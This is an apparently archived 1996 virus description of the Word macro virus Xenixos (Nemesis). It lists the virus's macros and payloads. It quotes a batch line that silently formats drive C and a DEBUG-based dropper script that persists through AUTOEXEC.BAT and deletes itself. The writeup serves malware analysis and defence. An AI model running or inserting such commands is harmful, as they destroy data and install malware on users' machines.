home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / XENIXOS.ZIP / NEMESIS.ZIP / NEMESIS.TXT < prev    next >
Text File  |  1996-04-16  |  2KB  |  56 lines
  1.  
  2.                          Macro.Word.Xenixos (Nemesis)
  3.                 -------------------------------------------------
  4.  
  5. It is encrypted virus. It contains the macroses:
  6.  
  7. **********************************************************************************
  8.         Drop                           nemesi11.txt
  9.         Dummy                          nemesis5.txt
  10.         AutoExec                       nemesis1.txt
  11.         AutoOpen                       nemesis6.txt
  12.         DateiOffnen                    nemesi10.txt
  13.         ExtrasMakro                    nemesis2.txt
  14.         DateiBeenden                   nemesis7.txt
  15.         DateiDrucken                   nemesis8.txt
  16.         DateiSpeichern                 nemesis3.txt
  17.         DateiSpeichernUnter            nemesis4.txt
  18.         DateiDruckenStandard           nemesis9.txt
  19. ***********************************************************************************
  20.  
  21.  
  22. In some cases it sets the password "xenixos" for infected documents, 
  23. displays the message:
  24.  
  25.  Diese Option ist derzeit leider nicht verf gbar.
  26.  Fehler
  27.  
  28. While printing the documents it appends:
  29.  
  30.  Brought to you by the Nemesis Corporation,  1996
  31.  
  32. On 1st of may the virus writes the string to the AUTOEXEC.BAT file:
  33.  
  34.  @echo j|format c: /u >nul
  35.  
  36. This virus also launches "Neurobasher.b" multipartite virus. To do that the 
  37. virus creates the C:\DOS\SCRIPT.SCR file, and writes hexadecimal dump 
  38. of that virus into there. Then the virus creates the C:\DOS\EXEC.BAT file, 
  39. and writes the strings into there:
  40.  
  41.  @echo off
  42.  debug < script.scr>nul
  43.  rem debugger.com
  44.  echo @c:\dos\debugger.exe>>c:\autoexec.bat
  45.  del c:\dos\script.scr
  46.  del c:\dos\exec.bat
  47.  
  48. Then the virus executes that file. As the result DEBUG.EXE creates the
  49. DEBUGGER.EXE file, and C:\AUTOEXEC.BAT has new string at its end:
  50.  
  51.  @c:\dos\debugger.exe
  52.  
  53. So, the last command of AUTOEXEC.BAT launches dropper of "Neurobasher.b" 
  54. virus.
  55. ..........................................................................
  56.